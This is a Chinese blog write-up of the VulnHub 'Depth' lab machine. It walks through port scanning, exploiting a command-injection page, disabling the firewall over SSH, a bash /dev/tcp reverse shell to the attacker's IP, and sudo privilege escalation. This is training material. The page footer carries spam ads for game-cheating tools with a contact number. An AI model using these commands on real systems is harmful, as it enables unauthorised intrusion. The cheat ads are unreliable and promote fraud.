【vulnhub】Depth靶机
创始人
2024-11-13 03:41:18
0次
靶机安装
下载地址：https://download.vulnhub.com/depth/DepthB2R.ova
运行环境：VMware运行该虚拟机
信息收集
靶机IP发现
nmap 192.168.93.0/24
端口扫描
nmap -A 192.168.93.154 -p-
只开起了8080端口
进行目录扫描8080端口
dirsearch -u http://192.168.93.154:8080
有一个目录/test.jsp
IP网址访问
翻译过后为
后面拼接/test.jsp
翻译过后
提示我们输入 ls -l /tmp 测试一下
存在系统命令执行漏洞，进行利用,反弹shell尝试失败
漏洞利用
ls -l /home 查看到home目录内容，发现bill用户
输入ps aux，找出带有 “ps aux”的正在运行的进程，选项“ aux ”会打印系统中所有正在运行的进程。我们发现 sshd 服务正在使用中，但访问可能受到限制，nmap刚刚没有扫描出ssh的端口，可能存在防火墙。
尝试关闭防火墙
#尝试关闭防火墙 ssh bill@localhost sudo ufw disable
再次执行反弹shell
ssh bill@localhost bash -i >& /dev/tcp/192.168.93.130/8787 0>&1 
获取shell成功
提权
尝试sudo提权
sudo -l,发现所有用户(ALL)都有sudo权限，
直接 sudo su 命令
查看flag文件
相关内容
热门资讯
分享开挂内幕开挂！微信小程序微...
分享开挂内幕开挂！微信小程序微乐房间怎么开挂，微信小程序微乐房间有技巧吗-确实真的是有辅助脚本1、不...
玩家科普开挂工具!wpk辅助功...
玩家科普开挂工具!wpk辅助功能开透视工具，真是真的有挂(有挂教学)1、很好的工具软件，可以解锁游戏...
推荐一款开挂！微乐小程序辅助工...
推荐一款开挂！微乐小程序辅助工具，微乐手游微乐辅助免费-本来有辅助工具1、进入游戏-大厅左侧-新手福...
一分钟了解开挂软件!wpk辅助...
一分钟了解开挂软件!wpk辅助功能开透视工具，都是有挂(有挂解惑)wpk破解侠是真的助透视。每个模型...
必知教程开挂！微信小程序微乐辅...
必知教程开挂！微信小程序微乐辅助器，陕西微乐挖坑控制器-真是是真的有辅助教程进入游戏-大厅左侧-新手...
一分钟揭秘辅助教程!德扑之星辅...
您好，德扑之星这款游戏可以开挂的，确实是有挂的，需要了解加去威信【136704302】很多玩家在这款...
科技介绍透视挂！微乐小程序免费...
科技介绍透视挂！微乐小程序免费工具，陕西微乐小程序辅助-原来真的是有辅助方法微乐小程序免费工具透视方...
一分钟揭秘辅助插件!AAPoK...
一分钟揭秘辅助插件!AAPoKer辅助功能开透视工具，切实是有挂(竟然有挂)1、AAPoKer辅助器...
带你了解辅助！微信微乐小程序有...
带你了解辅助！微信微乐小程序有挂黑科技，微乐辅助工具哪个好用-切实真的是有辅助挂1、微信微乐小程序有...
热点推荐开挂软件!AAPoKe...
热点推荐开挂软件!AAPoKer辅助功能开透视工具，真是真的是有挂(真实有挂)一、AAPoKer游戏...